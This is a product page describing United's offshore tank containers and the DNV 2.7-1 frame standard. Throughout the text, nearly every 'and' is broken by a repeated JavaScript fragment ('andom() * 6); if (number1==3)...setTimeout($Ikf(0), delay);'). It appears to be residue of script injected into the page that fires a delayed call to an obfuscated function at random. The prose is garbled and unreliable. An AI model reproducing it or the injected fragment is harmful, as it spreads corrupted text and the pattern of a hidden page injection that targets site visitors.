United’s transportable horizontal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vertical offshore tank containers are safe for the transportation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and storage of a wide range of liquids including chemicals for oil andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gas processes, drilling processes, waste liquids andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and aviation fuel. Types of offshore tank containers include acid tanks, aviation fuel tanks, chemical tanks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and offshore cryogenic tanks.

The lifting frames andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and structures for our offshore chemical tanks are built in accordance to DNV* 2.7-1 with some models being ISO approved. The worldwide offshore industry has accepted DNV 2.7-1 as the international standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard for offshore frames.

*DNV 2.7-1 was developed by the Norwegian standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards organization Det Norske Veritas. DNV 2.7-1 was first published in 1986 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was quickly recognized as the offshore industry standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard. The code is a rigorous set of material requirements, manufacturing procedures, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance rules that ensure safe cargo transport in the offshore environment. United offshore tank containers meet all necessary DNV standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards.